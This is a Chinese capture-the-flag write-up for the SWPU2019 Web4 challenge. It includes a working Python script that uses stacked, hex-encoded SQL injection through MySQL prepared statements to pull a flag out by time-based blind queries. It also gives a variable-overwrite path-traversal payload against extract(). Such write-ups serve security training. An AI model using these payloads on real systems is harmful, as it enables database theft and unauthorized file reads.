[SWPU2019]Web4
# [SWPU2019]Web4
0x01前言
-
堆叠注入
-
MVC代码审计
-
变量覆盖
0x02堆叠注入
username输入'报错输入;正常,判断存在堆叠注入,题目过滤了许多关键字,使用16进制+mysql预处理了绕过。

payload=select if(ascii(substr((select flag from flag),{},1))={},sleep(3),1)
上脚本:
import requests
import time
import json
def StrToHex(payload):
by = bytes(payload,'UTF-8') #先将输入的字符串转化成字节码
hexstring = by.hex() #得到16进制字符串,不带0x
a = int(hexstring,16) #将16进制字符串转换成整数
hex_name = hex(a) #输出如下
return hex_name
def FindFlag():
x=0
url="http://17d3014d-0ed4-499d-8230-a399ee629646.node4.buuoj.cn:81/index.php?r=Login/Login"
flag=''
header={
"Content-Type": "application/json",
"Postman-Token": "0f7408f7-9869-48ba-9433-871bf4b6f560",
"User-Agent": "PostmanRuntime/7.28.1"
}
for i in range(1,30):
for j in range(0,128):
payload='select if(ascii(substr((select flag from flag),{},1))={},sleep(3),1)'.format(i,j)
payload=StrToHex(payload)
data={"username":"123';set @a={};prepare test from @a;execute test;".format(payload),"password":"456"}
data=json.dumps(data)
times=time.time()
time.sleep(0.1)
try:
res = requests.post(url, data=data,headers=header)
except Exception as e:
pass
if time.time()-times>3:
flag=flag+chr(j)
print(flag)
break
FindFlag()

得到压缩包名glzjin_wants_a_girl_friend.zip
0x03变量覆盖

0x04 代码审计
先看到flag.php

应该是要用某种方法读取flag.php文件中的内容
MVC框架url解释

从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。
核心代码在Controller
先看BaseConrtoller.php

看到extract()函数,如果变量数组可控,可能存在变量覆盖漏洞
寻找调用了loadview()方法并且数组变量可控的地方
在usercontroller.php中可以看到
找到其视图控制器
发现其功能是对图片

以base64输出使用变量覆盖,覆盖掉img_file参数
payload=/?r=User/Index&img_file=/../flag.php

浙公网安备 33010602011771号